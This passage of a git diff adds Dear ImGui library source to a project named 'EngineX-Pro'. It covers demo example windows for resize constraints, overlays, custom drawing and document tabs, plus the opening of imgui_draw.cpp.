Square(ImGuiSizeCallbackData* data) { data->DesiredSize.x = data->DesiredSize.y = IM_MAX(data->DesiredSize.x, data->DesiredSize.y); } + static void Step(ImGuiSizeCallbackData* data) { float step = (float)(int)(intptr_t)data->UserData; data->DesiredSize = ImVec2((int)(data->DesiredSize.x / step + 0.5f) * step, (int)(data->DesiredSize.y / step + 0.5f) * step); } + }; + + const char* test_desc[] = + { + "Resize vertical only", + "Resize horizontal only", + "Width > 100, Height > 100", + "Width 400-500", + "Height 400-500", + "Custom: Always Square", + "Custom: Fixed Steps (100)", + }; + + static bool auto_resize = false; + static int type = 0; + static int display_lines = 10; + if (type == 0) ImGui::SetNextWindowSizeConstraints(ImVec2(-1, 0), ImVec2(-1, FLT_MAX)); // Vertical only + if (type == 1) ImGui::SetNextWindowSizeConstraints(ImVec2(0, -1), ImVec2(FLT_MAX, -1)); // Horizontal only + if (type == 2) ImGui::SetNextWindowSizeConstraints(ImVec2(100, 100), ImVec2(FLT_MAX, FLT_MAX)); // Width > 100, Height > 100 + if (type == 3) ImGui::SetNextWindowSizeConstraints(ImVec2(400, -1), ImVec2(500, -1)); // Width 400-500 + if (type == 4) ImGui::SetNextWindowSizeConstraints(ImVec2(-1, 400), ImVec2(-1, 500)); // Height 400-500 + if (type == 5) ImGui::SetNextWindowSizeConstraints(ImVec2(0, 0), ImVec2(FLT_MAX, FLT_MAX), CustomConstraints::Square); // Always Square + if (type == 6) ImGui::SetNextWindowSizeConstraints(ImVec2(0, 0), ImVec2(FLT_MAX, FLT_MAX), CustomConstraints::Step, (void*)(intptr_t)100); // Fixed Step + + ImGuiWindowFlags flags = auto_resize ? ImGuiWindowFlags_AlwaysAutoResize : 0; + if (ImGui::Begin("Example: Constrained Resize", p_open, flags)) + { + if (ImGui::Button("200x200")) { ImGui::SetWindowSize(ImVec2(200, 200)); } ImGui::SameLine(); + if (ImGui::Button("500x500")) { ImGui::SetWindowSize(ImVec2(500, 500)); } ImGui::SameLine(); + if (ImGui::Button("800x200")) { ImGui::SetWindowSize(ImVec2(800, 200)); } + ImGui::SetNextItemWidth(200); + ImGui::Combo("Constraint", &type, test_desc, IM_ARRAYSIZE(test_desc)); + ImGui::SetNextItemWidth(200); + ImGui::DragInt("Lines", &display_lines, 0.2f, 1, 100); + ImGui::Checkbox("Auto-resize", &auto_resize); + for (int i = 0; i < display_lines; i++) + ImGui::Text("%*sHello, sailor! Making this line long enough for the example.", i * 4, ""); + } + ImGui::End(); +} + +//----------------------------------------------------------------------------- +// [SECTION] Example App: Simple Overlay / ShowExampleAppSimpleOverlay() +//----------------------------------------------------------------------------- + +// Demonstrate creating a simple static window with no decoration +// + a context-menu to choose which corner of the screen to use. +static void ShowExampleAppSimpleOverlay(bool* p_open) +{ + const float DISTANCE = 10.0f; + static int corner = 0; + ImGuiIO& io = ImGui::GetIO(); + ImGuiWindowFlags window_flags = ImGuiWindowFlags_NoDecoration | ImGuiWindowFlags_AlwaysAutoResize | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_NoFocusOnAppearing | ImGuiWindowFlags_NoNav; + if (corner != -1) + { + window_flags |= ImGuiWindowFlags_NoMove; + ImVec2 window_pos = ImVec2((corner & 1) ? io.DisplaySize.x - DISTANCE : DISTANCE, (corner & 2) ? io.DisplaySize.y - DISTANCE : DISTANCE); + ImVec2 window_pos_pivot = ImVec2((corner & 1) ? 1.0f : 0.0f, (corner & 2) ? 1.0f : 0.0f); + ImGui::SetNextWindowPos(window_pos, ImGuiCond_Always, window_pos_pivot); + } + ImGui::SetNextWindowBgAlpha(0.35f); // Transparent background + if (ImGui::Begin("Example: Simple overlay", p_open, window_flags)) + { + ImGui::Text("Simple overlay\n" "in the corner of the screen.\n" "(right-click to change position)"); + ImGui::Separator(); + if (ImGui::IsMousePosValid()) + ImGui::Text("Mouse Position: (%.1f,%.1f)", io.MousePos.x, io.MousePos.y); + else + ImGui::Text("Mouse Position: "); + if (ImGui::BeginPopupContextWindow()) + { + if (ImGui::MenuItem("Custom", NULL, corner == -1)) corner = -1; + if (ImGui::MenuItem("Top-left", NULL, corner == 0)) corner = 0; + if (ImGui::MenuItem("Top-right", NULL, corner == 1)) corner = 1; + if (ImGui::MenuItem("Bottom-left", NULL, corner == 2)) corner = 2; + if (ImGui::MenuItem("Bottom-right", NULL, corner == 3)) corner = 3; + if (p_open && ImGui::MenuItem("Close")) *p_open = false; + ImGui::EndPopup(); + } + } + ImGui::End(); +} + +//----------------------------------------------------------------------------- +// [SECTION] Example App: Manipulating Window Titles / ShowExampleAppWindowTitles() +//----------------------------------------------------------------------------- + +// Demonstrate using "##" and "###" in identifiers to manipulate ID generation. +// This apply to all regular items as well. +// Read FAQ section "How can I have multiple widgets with the same label?" for details. +static void ShowExampleAppWindowTitles(bool*) +{ + // By default, Windows are uniquely identified by their title. + // You can use the "##" and "###" markers to manipulate the display/ID. + + // Using "##" to display same title but have unique identifier. + ImGui::SetNextWindowPos(ImVec2(100, 100), ImGuiCond_FirstUseEver); + ImGui::Begin("Same title as another window##1"); + ImGui::Text("This is window 1.\nMy title is the same as window 2, but my identifier is unique."); + ImGui::End(); + + ImGui::SetNextWindowPos(ImVec2(100, 200), ImGuiCond_FirstUseEver); + ImGui::Begin("Same title as another window##2"); + ImGui::Text("This is window 2.\nMy title is the same as window 1, but my identifier is unique."); + ImGui::End(); + + // Using "###" to display a changing title but keep a static identifier "AnimatedTitle" + char buf[128]; + sprintf(buf, "Animated title %c %d###AnimatedTitle", "|/-\\"[(int)(ImGui::GetTime() / 0.25f) & 3], ImGui::GetFrameCount()); + ImGui::SetNextWindowPos(ImVec2(100, 300), ImGuiCond_FirstUseEver); + ImGui::Begin(buf); + ImGui::Text("This window has a changing title."); + ImGui::End(); +} + +//----------------------------------------------------------------------------- +// [SECTION] Example App: Custom Rendering using ImDrawList API / ShowExampleAppCustomRendering() +//----------------------------------------------------------------------------- + +// Demonstrate using the low-level ImDrawList to draw custom shapes. +static void ShowExampleAppCustomRendering(bool* p_open) +{ + if (!ImGui::Begin("Example: Custom rendering", p_open)) + { + ImGui::End(); + return; + } + + // Tip: If you do a lot of custom rendering, you probably want to use your own geometrical types and benefit of + // overloaded operators, etc. Define IM_VEC2_CLASS_EXTRA in imconfig.h to create implicit conversions between your + // types and ImVec2/ImVec4. Dear ImGui defines overloaded operators but they are internal to imgui.cpp and not + // exposed outside (to avoid messing with your types) In this example we are not using the maths operators! + + if (ImGui::BeginTabBar("##TabBar")) + { + if (ImGui::BeginTabItem("Primitives")) + { + ImGui::PushItemWidth(-ImGui::GetFontSize() * 10); + ImDrawList* draw_list = ImGui::GetWindowDrawList(); + + // Draw gradients + // (note that those are currently exacerbating our sRGB/Linear issues) + // Calling ImGui::GetColorU32() multiplies the given colors by the current Style Alpha, but you may pass the IM_COL32() directly as well.. + ImGui::Text("Gradients"); + ImVec2 gradient_size = ImVec2(ImGui::CalcItemWidth(), ImGui::GetFrameHeight()); + { + ImVec2 p0 = ImGui::GetCursorScreenPos(); + ImVec2 p1 = ImVec2(p0.x + gradient_size.x, p0.y + gradient_size.y); + ImU32 col_a = ImGui::GetColorU32(IM_COL32(0, 0, 0, 255)); + ImU32 col_b = ImGui::GetColorU32(IM_COL32(255, 255, 255, 255)); + draw_list->AddRectFilledMultiColor(p0, p1, col_a, col_b, col_b, col_a); + ImGui::InvisibleButton("##gradient1", gradient_size); + } + { + ImVec2 p0 = ImGui::GetCursorScreenPos(); + ImVec2 p1 = ImVec2(p0.x + gradient_size.x, p0.y + gradient_size.y); + ImU32 col_a = ImGui::GetColorU32(IM_COL32(0, 255, 0, 255)); + ImU32 col_b = ImGui::GetColorU32(IM_COL32(255, 0, 0, 255)); + draw_list->AddRectFilledMultiColor(p0, p1, col_a, col_b, col_b, col_a); + ImGui::InvisibleButton("##gradient2", gradient_size); + } + + // Draw a bunch of primitives + ImGui::Text("All primitives"); + static float sz = 36.0f; + static float thickness = 3.0f; + static int ngon_sides = 6; + static bool circle_segments_override = false; + static int circle_segments_override_v = 12; + static bool curve_segments_override = false; + static int curve_segments_override_v = 8; + static ImVec4 colf = ImVec4(1.0f, 1.0f, 0.4f, 1.0f); + ImGui::DragFloat("Size", &sz, 0.2f, 2.0f, 72.0f, "%.0f"); + ImGui::DragFloat("Thickness", &thickness, 0.05f, 1.0f, 8.0f, "%.02f"); + ImGui::SliderInt("N-gon sides", &ngon_sides, 3, 12); + ImGui::Checkbox("##circlesegmentoverride", &circle_segments_override); + ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x); + circle_segments_override |= ImGui::SliderInt("Circle segments override", &circle_segments_override_v, 3, 40); + ImGui::Checkbox("##curvessegmentoverride", &curve_segments_override); + ImGui::SameLine(0.0f, ImGui::GetStyle().ItemInnerSpacing.x); + curve_segments_override |= ImGui::SliderInt("Curves segments override", &curve_segments_override_v, 3, 40); + ImGui::ColorEdit4("Color", &colf.x); + + const ImVec2 p = ImGui::GetCursorScreenPos(); + const ImU32 col = ImColor(colf); + const float spacing = 10.0f; + const ImDrawCornerFlags corners_none = 0; + const ImDrawCornerFlags corners_all = ImDrawCornerFlags_All; + const ImDrawCornerFlags corners_tl_br = ImDrawCornerFlags_TopLeft | ImDrawCornerFlags_BotRight; + const int circle_segments = circle_segments_override ? circle_segments_override_v : 0; + const int curve_segments = curve_segments_override ? curve_segments_override_v : 0; + float x = p.x + 4.0f; + float y = p.y + 4.0f; + for (int n = 0; n < 2; n++) + { + // First line uses a thickness of 1.0f, second line uses the configurable thickness + float th = (n == 0) ? 1.0f : thickness; + draw_list->AddNgon(ImVec2(x + sz*0.5f, y + sz*0.5f), sz*0.5f, col, ngon_sides, th); x += sz + spacing; // N-gon + draw_list->AddCircle(ImVec2(x + sz*0.5f, y + sz*0.5f), sz*0.5f, col, circle_segments, th); x += sz + spacing; // Circle + draw_list->AddRect(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 0.0f, corners_none, th); x += sz + spacing; // Square + draw_list->AddRect(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f, corners_all, th); x += sz + spacing; // Square with all rounded corners + draw_list->AddRect(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f, corners_tl_br, th); x += sz + spacing; // Square with two rounded corners + draw_list->AddTriangle(ImVec2(x+sz*0.5f,y), ImVec2(x+sz, y+sz-0.5f), ImVec2(x, y+sz-0.5f), col, th);x += sz + spacing; // Triangle + //draw_list->AddTriangle(ImVec2(x+sz*0.2f,y), ImVec2(x, y+sz-0.5f), ImVec2(x+sz*0.4f, y+sz-0.5f), col, th);x+= sz*0.4f + spacing; // Thin triangle + draw_list->AddLine(ImVec2(x, y), ImVec2(x + sz, y), col, th); x += sz + spacing; // Horizontal line (note: drawing a filled rectangle will be faster!) + draw_list->AddLine(ImVec2(x, y), ImVec2(x, y + sz), col, th); x += spacing; // Vertical line (note: drawing a filled rectangle will be faster!) + draw_list->AddLine(ImVec2(x, y), ImVec2(x + sz, y + sz), col, th); x += sz + spacing; // Diagonal line + + // Quadratic Bezier Curve (3 control points) + ImVec2 cp3[3] = { ImVec2(x, y + sz * 0.6f), ImVec2(x + sz * 0.5f, y - sz * 0.4f), ImVec2(x + sz, y + sz) }; + draw_list->AddBezierQuadratic(cp3[0], cp3[1], cp3[2], col, th, curve_segments); x += sz + spacing; + + // Cubic Bezier Curve (4 control points) + ImVec2 cp4[4] = { ImVec2(x, y), ImVec2(x + sz * 1.3f, y + sz * 0.3f), ImVec2(x + sz - sz * 1.3f, y + sz - sz * 0.3f), ImVec2(x + sz, y + sz) }; + draw_list->AddBezierCubic(cp4[0], cp4[1], cp4[2], cp4[3], col, th, curve_segments); + + x = p.x + 4; + y += sz + spacing; + } + draw_list->AddNgonFilled(ImVec2(x + sz * 0.5f, y + sz * 0.5f), sz*0.5f, col, ngon_sides); x += sz + spacing; // N-gon + draw_list->AddCircleFilled(ImVec2(x + sz*0.5f, y + sz*0.5f), sz*0.5f, col, circle_segments); x += sz + spacing; // Circle + draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + sz), col); x += sz + spacing; // Square + draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f); x += sz + spacing; // Square with all rounded corners + draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + sz), col, 10.0f, corners_tl_br); x += sz + spacing; // Square with two rounded corners + draw_list->AddTriangleFilled(ImVec2(x+sz*0.5f,y), ImVec2(x+sz, y+sz-0.5f), ImVec2(x, y+sz-0.5f), col); x += sz + spacing; // Triangle + //draw_list->AddTriangleFilled(ImVec2(x+sz*0.2f,y), ImVec2(x, y+sz-0.5f), ImVec2(x+sz*0.4f, y+sz-0.5f), col); x += sz*0.4f + spacing; // Thin triangle + draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + sz, y + thickness), col); x += sz + spacing; // Horizontal line (faster than AddLine, but only handle integer thickness) + draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + thickness, y + sz), col); x += spacing * 2.0f;// Vertical line (faster than AddLine, but only handle integer thickness) + draw_list->AddRectFilled(ImVec2(x, y), ImVec2(x + 1, y + 1), col); x += sz; // Pixel (faster than AddLine) + draw_list->AddRectFilledMultiColor(ImVec2(x, y), ImVec2(x + sz, y + sz), IM_COL32(0, 0, 0, 255), IM_COL32(255, 0, 0, 255), IM_COL32(255, 255, 0, 255), IM_COL32(0, 255, 0, 255)); + + ImGui::Dummy(ImVec2((sz + spacing) * 8.8f, (sz + spacing) * 3.0f)); + ImGui::PopItemWidth(); + ImGui::EndTabItem(); + } + + if (ImGui::BeginTabItem("Canvas")) + { + static ImVector points; + static ImVec2 scrolling(0.0f, 0.0f); + static bool opt_enable_grid = true; + static bool opt_enable_context_menu = true; + static bool adding_line = false; + + ImGui::Checkbox("Enable grid", &opt_enable_grid); + ImGui::Checkbox("Enable context menu", &opt_enable_context_menu); + ImGui::Text("Mouse Left: drag to add lines,\nMouse Right: drag to scroll, click for context menu."); + + // Typically you would use a BeginChild()/EndChild() pair to benefit from a clipping region + own scrolling. + // Here we demonstrate that this can be replaced by simple offsetting + custom drawing + PushClipRect/PopClipRect() calls. + // To use a child window instead we could use, e.g: + // ImGui::PushStyleVar(ImGuiStyleVar_WindowPadding, ImVec2(0, 0)); // Disable padding + // ImGui::PushStyleColor(ImGuiCol_ChildBg, IM_COL32(50, 50, 50, 255)); // Set a background color + // ImGui::BeginChild("canvas", ImVec2(0.0f, 0.0f), true, ImGuiWindowFlags_NoMove); + // ImGui::PopStyleColor(); + // ImGui::PopStyleVar(); + // [...] + // ImGui::EndChild(); + + // Using InvisibleButton() as a convenience 1) it will advance the layout cursor and 2) allows us to use IsItemHovered()/IsItemActive() + ImVec2 canvas_p0 = ImGui::GetCursorScreenPos(); // ImDrawList API uses screen coordinates! + ImVec2 canvas_sz = ImGui::GetContentRegionAvail(); // Resize canvas to what's available + if (canvas_sz.x < 50.0f) canvas_sz.x = 50.0f; + if (canvas_sz.y < 50.0f) canvas_sz.y = 50.0f; + ImVec2 canvas_p1 = ImVec2(canvas_p0.x + canvas_sz.x, canvas_p0.y + canvas_sz.y); + + // Draw border and background color + ImGuiIO& io = ImGui::GetIO(); + ImDrawList* draw_list = ImGui::GetWindowDrawList(); + draw_list->AddRectFilled(canvas_p0, canvas_p1, IM_COL32(50, 50, 50, 255)); + draw_list->AddRect(canvas_p0, canvas_p1, IM_COL32(255, 255, 255, 255)); + + // This will catch our interactions + ImGui::InvisibleButton("canvas", canvas_sz, ImGuiButtonFlags_MouseButtonLeft | ImGuiButtonFlags_MouseButtonRight); + const bool is_hovered = ImGui::IsItemHovered(); // Hovered + const bool is_active = ImGui::IsItemActive(); // Held + const ImVec2 origin(canvas_p0.x + scrolling.x, canvas_p0.y + scrolling.y); // Lock scrolled origin + const ImVec2 mouse_pos_in_canvas(io.MousePos.x - origin.x, io.MousePos.y - origin.y); + + // Add first and second point + if (is_hovered && !adding_line && ImGui::IsMouseClicked(ImGuiMouseButton_Left)) + { + points.push_back(mouse_pos_in_canvas); + points.push_back(mouse_pos_in_canvas); + adding_line = true; + } + if (adding_line) + { + points.back() = mouse_pos_in_canvas; + if (!ImGui::IsMouseDown(ImGuiMouseButton_Left)) + adding_line = false; + } + + // Pan (we use a zero mouse threshold when there's no context menu) + // You may decide to make that threshold dynamic based on whether the mouse is hovering something etc. + const float mouse_threshold_for_pan = opt_enable_context_menu ? -1.0f : 0.0f; + if (is_active && ImGui::IsMouseDragging(ImGuiMouseButton_Right, mouse_threshold_for_pan)) + { + scrolling.x += io.MouseDelta.x; + scrolling.y += io.MouseDelta.y; + } + + // Context menu (under default mouse threshold) + ImVec2 drag_delta = ImGui::GetMouseDragDelta(ImGuiMouseButton_Right); + if (opt_enable_context_menu && ImGui::IsMouseReleased(ImGuiMouseButton_Right) && drag_delta.x == 0.0f && drag_delta.y == 0.0f) + ImGui::OpenPopupOnItemClick("context"); + if (ImGui::BeginPopup("context")) + { + if (adding_line) + points.resize(points.size() - 2); + adding_line = false; + if (ImGui::MenuItem("Remove one", NULL, false, points.Size > 0)) { points.resize(points.size() - 2); } + if (ImGui::MenuItem("Remove all", NULL, false, points.Size > 0)) { points.clear(); } + ImGui::EndPopup(); + } + + // Draw grid + all lines in the canvas + draw_list->PushClipRect(canvas_p0, canvas_p1, true); + if (opt_enable_grid) + { + const float GRID_STEP = 64.0f; + for (float x = fmodf(scrolling.x, GRID_STEP); x < canvas_sz.x; x += GRID_STEP) + draw_list->AddLine(ImVec2(canvas_p0.x + x, canvas_p0.y), ImVec2(canvas_p0.x + x, canvas_p1.y), IM_COL32(200, 200, 200, 40)); + for (float y = fmodf(scrolling.y, GRID_STEP); y < canvas_sz.y; y += GRID_STEP) + draw_list->AddLine(ImVec2(canvas_p0.x, canvas_p0.y + y), ImVec2(canvas_p1.x, canvas_p0.y + y), IM_COL32(200, 200, 200, 40)); + } + for (int n = 0; n < points.Size; n += 2) + draw_list->AddLine(ImVec2(origin.x + points[n].x, origin.y + points[n].y), ImVec2(origin.x + points[n + 1].x, origin.y + points[n + 1].y), IM_COL32(255, 255, 0, 255), 2.0f); + draw_list->PopClipRect(); + + ImGui::EndTabItem(); + } + + if (ImGui::BeginTabItem("BG/FG draw lists")) + { + static bool draw_bg = true; + static bool draw_fg = true; + ImGui::Checkbox("Draw in Background draw list", &draw_bg); + ImGui::SameLine(); HelpMarker("The Background draw list will be rendered below every Dear ImGui windows."); + ImGui::Checkbox("Draw in Foreground draw list", &draw_fg); + ImGui::SameLine(); HelpMarker("The Foreground draw list will be rendered over every Dear ImGui windows."); + ImVec2 window_pos = ImGui::GetWindowPos(); + ImVec2 window_size = ImGui::GetWindowSize(); + ImVec2 window_center = ImVec2(window_pos.x + window_size.x * 0.5f, window_pos.y + window_size.y * 0.5f); + if (draw_bg) + ImGui::GetBackgroundDrawList()->AddCircle(window_center, window_size.x * 0.6f, IM_COL32(255, 0, 0, 200), 0, 10 + 4); + if (draw_fg) + ImGui::GetForegroundDrawList()->AddCircle(window_center, window_size.y * 0.6f, IM_COL32(0, 255, 0, 200), 0, 10); + ImGui::EndTabItem(); + } + + ImGui::EndTabBar(); + } + + ImGui::End(); +} + +//----------------------------------------------------------------------------- +// [SECTION] Example App: Documents Handling / ShowExampleAppDocuments() +//----------------------------------------------------------------------------- + +// Simplified structure to mimic a Document model +struct MyDocument +{ + const char* Name; // Document title + bool Open; // Set when open (we keep an array of all available documents to simplify demo code!) + bool OpenPrev; // Copy of Open from last update. + bool Dirty; // Set when the document has been modified + bool WantClose; // Set when the document + ImVec4 Color; // An arbitrary variable associated to the document + + MyDocument(const char* name, bool open = true, const ImVec4& color = ImVec4(1.0f, 1.0f, 1.0f, 1.0f)) + { + Name = name; + Open = OpenPrev = open; + Dirty = false; + WantClose = false; + Color = color; + } + void DoOpen() { Open = true; } + void DoQueueClose() { WantClose = true; } + void DoForceClose() { Open = false; Dirty = false; } + void DoSave() { Dirty = false; } + + // Display placeholder contents for the Document + static void DisplayContents(MyDocument* doc) + { + ImGui::PushID(doc); + ImGui::Text("Document \"%s\"", doc->Name); + ImGui::PushStyleColor(ImGuiCol_Text, doc->Color); + ImGui::TextWrapped("Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua."); + ImGui::PopStyleColor(); + if (ImGui::Button("Modify", ImVec2(100, 0))) + doc->Dirty = true; + ImGui::SameLine(); + if (ImGui::Button("Save", ImVec2(100, 0))) + doc->DoSave(); + ImGui::ColorEdit3("color", &doc->Color.x); // Useful to test drag and drop and hold-dragged-to-open-tab behavior. + ImGui::PopID(); + } + + // Display context menu for the Document + static void DisplayContextMenu(MyDocument* doc) + { + if (!ImGui::BeginPopupContextItem()) + return; + + char buf[256]; + sprintf(buf, "Save %s", doc->Name); + if (ImGui::MenuItem(buf, "CTRL+S", false, doc->Open)) + doc->DoSave(); + if (ImGui::MenuItem("Close", "CTRL+W", false, doc->Open)) + doc->DoQueueClose(); + ImGui::EndPopup(); + } +}; + +struct ExampleAppDocuments +{ + ImVector Documents; + + ExampleAppDocuments() + { + Documents.push_back(MyDocument("Lettuce", true, ImVec4(0.4f, 0.8f, 0.4f, 1.0f))); + Documents.push_back(MyDocument("Eggplant", true, ImVec4(0.8f, 0.5f, 1.0f, 1.0f))); + Documents.push_back(MyDocument("Carrot", true, ImVec4(1.0f, 0.8f, 0.5f, 1.0f))); + Documents.push_back(MyDocument("Tomato", false, ImVec4(1.0f, 0.3f, 0.4f, 1.0f))); + Documents.push_back(MyDocument("A Rather Long Title", false)); + Documents.push_back(MyDocument("Some Document", false)); + } +}; + +// [Optional] Notify the system of Tabs/Windows closure that happened outside the regular tab interface. +// If a tab has been closed programmatically (aka closed from another source such as the Checkbox() in the demo, +// as opposed to clicking on the regular tab closing button) and stops being submitted, it will take a frame for +// the tab bar to notice its absence. During this frame there will be a gap in the tab bar, and if the tab that has +// disappeared was the selected one, the tab bar will report no selected tab during the frame. This will effectively +// give the impression of a flicker for one frame. +// We call SetTabItemClosed() to manually notify the Tab Bar or Docking system of removed tabs to avoid this glitch. +// Note that this completely optional, and only affect tab bars with the ImGuiTabBarFlags_Reorderable flag. +static void NotifyOfDocumentsClosedElsewhere(ExampleAppDocuments& app) +{ + for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) + { + MyDocument* doc = &app.Documents[doc_n]; + if (!doc->Open && doc->OpenPrev) + ImGui::SetTabItemClosed(doc->Name); + doc->OpenPrev = doc->Open; + } +} + +void ShowExampleAppDocuments(bool* p_open) +{ + static ExampleAppDocuments app; + + // Options + static bool opt_reorderable = true; + static ImGuiTabBarFlags opt_fitting_flags = ImGuiTabBarFlags_FittingPolicyDefault_; + + bool window_contents_visible = ImGui::Begin("Example: Documents", p_open, ImGuiWindowFlags_MenuBar); + if (!window_contents_visible) + { + ImGui::End(); + return; + } + + // Menu + if (ImGui::BeginMenuBar()) + { + if (ImGui::BeginMenu("File")) + { + int open_count = 0; + for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) + open_count += app.Documents[doc_n].Open ? 1 : 0; + + if (ImGui::BeginMenu("Open", open_count < app.Documents.Size)) + { + for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) + { + MyDocument* doc = &app.Documents[doc_n]; + if (!doc->Open) + if (ImGui::MenuItem(doc->Name)) + doc->DoOpen(); + } + ImGui::EndMenu(); + } + if (ImGui::MenuItem("Close All Documents", NULL, false, open_count > 0)) + for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) + app.Documents[doc_n].DoQueueClose(); + if (ImGui::MenuItem("Exit", "Alt+F4")) {} + ImGui::EndMenu(); + } + ImGui::EndMenuBar(); + } + + // [Debug] List documents with one checkbox for each + for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) + { + MyDocument* doc = &app.Documents[doc_n]; + if (doc_n > 0) + ImGui::SameLine(); + ImGui::PushID(doc); + if (ImGui::Checkbox(doc->Name, &doc->Open)) + if (!doc->Open) + doc->DoForceClose(); + ImGui::PopID(); + } + + ImGui::Separator(); + + // Submit Tab Bar and Tabs + { + ImGuiTabBarFlags tab_bar_flags = (opt_fitting_flags) | (opt_reorderable ? ImGuiTabBarFlags_Reorderable : 0); + if (ImGui::BeginTabBar("##tabs", tab_bar_flags)) + { + if (opt_reorderable) + NotifyOfDocumentsClosedElsewhere(app); + + // [DEBUG] Stress tests + //if ((ImGui::GetFrameCount() % 30) == 0) docs[1].Open ^= 1; // [DEBUG] Automatically show/hide a tab. Test various interactions e.g. dragging with this on. + //if (ImGui::GetIO().KeyCtrl) ImGui::SetTabItemSelected(docs[1].Name); // [DEBUG] Test SetTabItemSelected(), probably not very useful as-is anyway.. + + // Submit Tabs + for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) + { + MyDocument* doc = &app.Documents[doc_n]; + if (!doc->Open) + continue; + + ImGuiTabItemFlags tab_flags = (doc->Dirty ? ImGuiTabItemFlags_UnsavedDocument : 0); + bool visible = ImGui::BeginTabItem(doc->Name, &doc->Open, tab_flags); + + // Cancel attempt to close when unsaved add to save queue so we can display a popup. + if (!doc->Open && doc->Dirty) + { + doc->Open = true; + doc->DoQueueClose(); + } + + MyDocument::DisplayContextMenu(doc); + if (visible) + { + MyDocument::DisplayContents(doc); + ImGui::EndTabItem(); + } + } + + ImGui::EndTabBar(); + } + } + + // Update closing queue + static ImVector close_queue; + if (close_queue.empty()) + { + // Close queue is locked once we started a popup + for (int doc_n = 0; doc_n < app.Documents.Size; doc_n++) + { + MyDocument* doc = &app.Documents[doc_n]; + if (doc->WantClose) + { + doc->WantClose = false; + close_queue.push_back(doc); + } + } + } + + // Display closing confirmation UI + if (!close_queue.empty()) + { + int close_queue_unsaved_documents = 0; + for (int n = 0; n < close_queue.Size; n++) + if (close_queue[n]->Dirty) + close_queue_unsaved_documents++; + + if (close_queue_unsaved_documents == 0) + { + // Close documents when all are unsaved + for (int n = 0; n < close_queue.Size; n++) + close_queue[n]->DoForceClose(); + close_queue.clear(); + } + else + { + if (!ImGui::IsPopupOpen("Save?")) + ImGui::OpenPopup("Save?"); + if (ImGui::BeginPopupModal("Save?")) + { + ImGui::Text("Save change to the following items?"); + ImGui::SetNextItemWidth(-1.0f); + if (ImGui::ListBoxHeader("##", close_queue_unsaved_documents, 6)) + { + for (int n = 0; n < close_queue.Size; n++) + if (close_queue[n]->Dirty) + ImGui::Text("%s", close_queue[n]->Name); + ImGui::ListBoxFooter(); + } + + if (ImGui::Button("Yes", ImVec2(80, 0))) + { + for (int n = 0; n < close_queue.Size; n++) + { + if (close_queue[n]->Dirty) + close_queue[n]->DoSave(); + close_queue[n]->DoForceClose(); + } + close_queue.clear(); + ImGui::CloseCurrentPopup(); + } + ImGui::SameLine(); + if (ImGui::Button("No", ImVec2(80, 0))) + { + for (int n = 0; n < close_queue.Size; n++) + close_queue[n]->DoForceClose(); + close_queue.clear(); + ImGui::CloseCurrentPopup(); + } + ImGui::SameLine(); + if (ImGui::Button("Cancel", ImVec2(80, 0))) + { + close_queue.clear(); + ImGui::CloseCurrentPopup(); + } + ImGui::EndPopup(); + } + } + } + + ImGui::End(); +} + +// End of Demo code +#else + +void ImGui::ShowAboutWindow(bool*) {} +void ImGui::ShowDemoWindow(bool*) {} +void ImGui::ShowUserGuide() {} +void ImGui::ShowStyleEditor(ImGuiStyle*) {} + +#endif + +#endif // #ifndef IMGUI_DISABLE diff --git a/EngineX-Pro/ImGui/imgui_draw.cpp b/EngineX-Pro/ImGui/imgui_draw.cpp new file mode 100644 index 0000000..71b5383 --- /dev/null +++ b/EngineX-Pro/ImGui/imgui_draw.cpp @@ -0,0 +1,3897 @@ +// dear imgui, v1.80 WIP +// (drawing and font code) + +/* + +Index of this file: + +// [SECTION] STB libraries implementation +// [SECTION] Style functions +// [SECTION] ImDrawList +// [SECTION] ImDrawListSplitter +// [SECTION] ImDrawData +// [SECTION] Helpers ShadeVertsXXX functions +// [SECTION] ImFontConfig +// [SECTION] ImFontAtlas +// [SECTION] ImFontAtlas glyph ranges helpers +// [SECTION] ImFontGlyphRangesBuilder +// [SECTION] ImFont +// [SECTION] ImGui Internal Render Helpers +// [SECTION] Decompression code +// [SECTION] Default font data (ProggyClean.ttf) + +*/ + +#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS) +#define _CRT_SECURE_NO_WARNINGS +#endif + +#include "imgui.h" +#ifndef IMGUI_DISABLE + +#ifndef IMGUI_DEFINE_MATH_OPERATORS +#define IMGUI_DEFINE_MATH_OPERATORS +#endif +#include "imgui_internal.h" + +#include // vsnprintf, sscanf, printf +#if !defined(alloca) +#if defined(__GLIBC__) || defined(__sun) || defined(__APPLE__) || defined(__NEWLIB__) +#include // alloca (glibc uses . Note that Cygwin may have _WIN32 defined, so the order matters here) +#elif defined(_WIN32) +#include // alloca +#if !defined(alloca) +#define alloca _alloca // for clang with MS Codegen +#endif +#else +#include // alloca +#endif +#endif + +// Visual Studio warnings +#ifdef _MSC_VER +#pragma warning (disable: 4127) // condition expression is constant +#pragma warning (disable: 4505) // unreferenced local function has been removed (stb stuff) +#pragma warning (disable: 4996) // 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen +#endif + +// Clang/GCC warnings with -Weverything +#if defined(__clang__) +#if __has_warning("-Wunknown-warning-option") +#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' // not all warnings are known by all Clang versions and they tend to be rename-happy.. so ignoring warnings triggers new warnings on some configuration. Great! +#endif +#if __has_warning("-Walloca") +#pragma clang diagnostic ignored "-Walloca" // warning: use of function '__builtin_alloca' is discouraged 